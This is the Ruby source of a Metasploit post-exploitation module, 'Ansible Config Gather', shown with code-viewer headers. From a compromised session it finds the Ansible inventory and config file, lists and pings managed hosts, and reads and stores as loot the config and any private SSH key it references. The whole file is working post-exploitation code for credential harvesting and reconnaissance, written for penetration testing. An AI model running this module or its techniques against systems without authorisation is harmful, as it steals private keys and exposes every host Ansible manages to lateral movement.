137 lines
3.9 KiB
Ruby
137 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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include Msf::Auxiliary::Report
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include Msf::Exploit::Local::Ansible
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Ansible Config Gather',
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'Description' => %q{
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This module will grab ansible information including hosts, ping status, and the configuration file.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'h00die', # Metasploit Module
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],
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'Platform' => ['linux', 'unix'],
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'SessionTypes' => ['shell', 'meterpreter'],
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'References' => [
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],
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [],
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'SideEffects' => []
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}
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)
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)
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register_options(
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[
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OptString.new('ANSIBLECFG', [true, 'Ansible config file location', '']),
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OptString.new('HOSTS', [ true, 'Which ansible hosts to target', 'all' ]),
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], self.class
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)
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register_advanced_options(
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[
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OptString.new('ANSIBLEINVENTORY', [true, 'Ansible-inventory executable location', '']),
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], self.class
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)
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end
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def ansible_inventory
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return @ansible_inv if @ansible_inv
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[datastore['ANSIBLEINVENTORY'], '/usr/local/bin/ansible-inventory'].each do |exec|
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next if exec.empty?
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next unless file?(exec)
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next unless executable?(exec)
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@ansible_inv = exec
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return @ansible_inv
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end
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@ansible_inv
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end
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def ansible_cfg
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return @ansible_cfg if @ansible_cfg
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[datastore['ANSIBLECFG'], '/etc/ansible/ansible.cfg', '/playbook/ansible.cfg'].each do |cfg|
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next if cfg.empty?
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next if cfg.empty?
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next unless file?(cfg)
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@ansible_cfg = cfg
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return @ansible_cfg
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end
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@ansible_cfg
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end
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def ping_hosts_print
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results = ping_hosts
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if results.nil?
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print_error('Unable to parse ping hosts results')
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return
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end
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columns = ['Host', 'Status', 'Ping', 'Changed']
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table = Rex::Text::Table.new('Header' => 'Ansible Pings', 'Indent' => 1, 'Columns' => columns)
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results.each do |match|
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table << [match['host'], match['status'], match['ping'], match['changed']]
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end
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print_good(table.to_s) unless table.rows.empty?
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end
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def conf
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unless file?(ansible_cfg)
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print_bad('Unable to find config file')
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return
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end
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ansible_config = read_file(ansible_cfg)
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stored_config = store_loot('ansible.cfg', 'text/plain', session, ansible_config, 'ansible.cfg', 'Ansible config file')
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print_good("Stored config to: #{stored_config}")
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ansible_config.lines.each do |line|
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next unless line.start_with?('private_key_file')
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file = line.split(' = ')[1].strip
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next unless file?(file)
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print_good("Private key file location: #{file}")
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key = read_file(file)
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loot = store_loot('ansible.private.key', 'text/plain', session, key, 'private.key', 'Ansible private key')
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print_good("Stored private key file to: #{loot}")
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end
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end
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def hosts_list
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hosts = cmd_exec("#{ansible_inventory} --list")
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hosts = JSON.parse(hosts)
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inventory = store_loot('ansible.inventory', 'application/json', session, hosts, 'ansible_inventory.json', 'Ansible inventory')
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print_good("Stored inventory to: #{inventory}")
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columns = ['Host', 'Connection']
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table = Rex::Text::Table.new('Header' => 'Ansible Hosts', 'Indent' => 1, 'Columns' => columns)
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hosts = hosts.dig('_meta', 'hostvars')
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hosts.each do |host|
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table << [host[0], host[1]['ansible_connection']]
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end
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print_good(table.to_s) unless table.rows.empty?
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end
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def run
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fail_with(Failure::NotFound, 'Ansible executable not found') if ansible_exe.nil?
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hosts_list
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ping_hosts_print
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conf
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end
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end
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